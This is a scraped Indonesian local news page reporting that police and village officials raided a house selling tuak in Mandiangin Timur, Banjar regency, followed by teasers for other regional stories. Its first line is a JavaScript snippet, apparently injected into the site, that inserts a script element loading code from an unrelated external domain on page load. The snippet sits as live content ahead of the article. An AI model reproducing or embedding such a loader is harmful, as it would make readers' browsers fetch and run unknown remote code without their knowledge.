(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Bikin Resah, Polisi-Aparat Desa Geruduk Rumah Jual Tuak di Mandiangin Timur


KANALKALIMANTAN.COM, MARTAPURA – Personel Polsek Karang Intan bersama aparat desa mengerebek sebuah rumah penyedia alias jual tuak di Desa Mandiangin Timur, Kecamatan Karang Intan, Kabupaten Banjar.

Lantaran rumah yang menjadi tempat berjualan tuak di desa Mandiangin Timur itu sudah bikin resah warga sekitar.

Warga pun melaporkan aktivitas terlarang itu kepada kepala desa atau pembakal setempat.

Kapolres Banjar AKBP M Ifan Hariyat melalui Kasi Humas Polres Banjar, AKP H Suwarji membeberkan jika pada Selasa (6/6/2023) lalu, personel kepolisian bersama dengan Pembakal mendatangi rumah penjual tuak tersebut.

Baca juga: Pembelian 7 Unit Truk Diungkap JPU di Sidang Korupsi Pencucian Uang Mantan Bupati HST

Kedatangan mereka bertujuan membongkar lapak penjual tuak yang dianggap mengganggu kenyamanan dan ketertiban masyarakat sekitar.

“Berawal dari laporan masyarakat kepada Pembakal Desa Mandiangan Timur, dan kali ini melibatkan petugas kepolisian bersama-sama mendatangi lokasi penjualan tuak itu,” ujar Kasi Humas Polres Banjar AKP H Suwarji.

Penggerebekan dipimpin Kanit Samapta Polsek Karang Intan Aiptu Dedi Yanto bersama dengan Pambakal Desa Mandiangin Timur Ahmad Sairi.

Hasil pantauan pihak berwenang, di lokasi rumah tempat menjual tuak itu ditinggali oleh enam orang laki-laki dan seorang perempuan.

Sementara itu diketahui si pemilik rumah yang merupakan penjual tuak saat itu sedang tidak berada di rumahnya.

“Penghuni lain saat itu sedang duduk-duduk di dalam rumah, namun pemilik rumah sendiri yakni H sedang berada di luar,” sebutnya.

Baca juga: Banjarbaru Tuan Rumah MTQ XXXIV Tingkat Provinsi Kalsel, Ini Tanggal Pelaksanaannya

Melihat aparat yang datang, para penghuni rumah pun tak ada yang berkutik dan mempersilahkan petugas memeriksa rumah yang menjadi tempat penjualan tuak itu.

Hasilnya, dari dalam rumah aparat mengamankan 18 bungkus minuman tuak siap jual yang dibuat dalam kantong plastik gula satu kilogram.

Kemudian setelah pemilik rumah datang, H bersama dengan barang bukti berupa minuman tuak itu dibawa ke markas Polsek Karang Intan.

“Setelah dimintai keterangan, H penjual tuak yang sudah beroperasi selama tiga tahun itu berjanji mengikuti perjanjian yang dituangkan dalam surat pernyataan,” tuntasnya.

Atas permintaan aparat desa bersama dengan warga, selanjutnya H dilakukan pembinaan agar tidak lagi melakukan aktivitas penjualan minuman tuak di Desa Mandiangin Timur. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie


Al Ghifari

Recent Posts

Peternakan Babi Dekat Kampus UIN Antasari di Guntung Manggis Dikeluhkan

Pemilik Ternak Diminta Datang ke Kantor Satpol PP Banjarbaru Read More

5 jam ago

Rekayasa Pemasangan ATSC, Jalan Pangeran Suriansyah Steril Parkir dan PKL

KANALKALIMANTAN.COM, BANJARBARU - Kawasan pinggir jalan maupun median di Jalan Pangeran Suriansyah, Kota Banjarbaru, Kalimantan… Read More

7 jam ago

Pj Bupati HSU Resmikan TMMD ke-120 di Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan secara resmi membuka… Read More

8 jam ago

Sekat Bakar Antisipasi Karhutla Ring 1 Bandara Syamsudin Noor

KANALKALIMANTAN.COM, BANJARBARU - Provinsi Kalimantan Selatan kembali memfokuskan penanganan ancaman kebakaran hutan dan lahan (Karhutla)… Read More

8 jam ago

Buaya di Pelambuan Banjarmasin Gagal Ditangkap, Tiga Kali Terlihat Warga Muncul

KANALKALIMANTAN.COM, BANJARMASIN - Kemunculan seekor buaya di kawasan sungai Kelurahan Pelambuan, Kecamatan Banjarmasin Utara, Kota… Read More

12 jam ago

Ambulans Baru Layanan Puskesmas Keliling di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU – Dinas Kesehatan (Dinkes) Kota Banjarbaru hadirkan layanan kesehatan yang lebih dekat dengan… Read More

12 jam ago

This website uses cookies.